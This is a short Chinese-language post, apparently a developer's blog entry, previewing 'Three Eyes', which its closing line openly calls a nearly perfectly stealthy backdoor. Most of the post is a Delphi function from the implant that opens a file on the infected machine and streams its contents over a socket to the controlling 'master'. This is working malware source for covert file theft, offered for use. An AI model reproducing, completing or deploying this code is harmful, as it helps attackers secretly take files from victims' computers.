即将发布的Three Eyes文件上传功能部分代码[Delphi]

[Three Eyes正在抓紧时间的开发当中,修复了其中不少的BUG...这里公布文件下载时服务端的部分代码!]

function DownFile(FileName: string):Boolean;
const
  BufferSize = 2048;
var
  BinaryFile: THandle;
  BinaryBuffer: Pchar;
  StrTmp: String;
  BinaryFileSize, BytesRead: dword;
begin
  Result := False;

  BinaryFile := CreateFile(Pchar(FileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if (BinaryFile = INVALID_HANDLE_VALUE) then Exit;

  //传输文件第一步...传输文件体积
  BinaryFileSize := GetFileSize(BinaryFile, nil);
  if Not SendData('dw' + #$07 + IntToStr(BinaryFileSize)) then Exit;

  //等待Server发送传输开始指令
  StrTmp := RecvData();
  //接收到的数据长度为0或者不是开始传输指令
  if (Length(StrTmp) = 0) or (StrTmp[1] <> #$A3) then Exit;

  //申请缓冲区准备开始传输文件
  GetMem(BinaryBuffer, BufferSize);
  try
    repeat
      //Sleep(10);                  //适当的延迟还是需要的
      ReadFile(BinaryFile, BinaryBuffer^, BufferSize, BytesRead, nil);
      //Sleep(10);                  //太需要了
      if (MasterSocket.SendBuffer(BinaryBuffer^, BytesRead) = SOCKET_ERROR) then Exit;
    until BytesRead < 2048;
    Result := True;
  finally
    FreeMem(BinaryBuffer);        //释放内存
    CloseHandle(BinaryFile);        //关闭进程句柄
  end;
end;

[Three eyes我会抓紧时间开发,争取在过年前与大家见面,送给大家一个几乎隐蔽性上完美的后门迎新年!]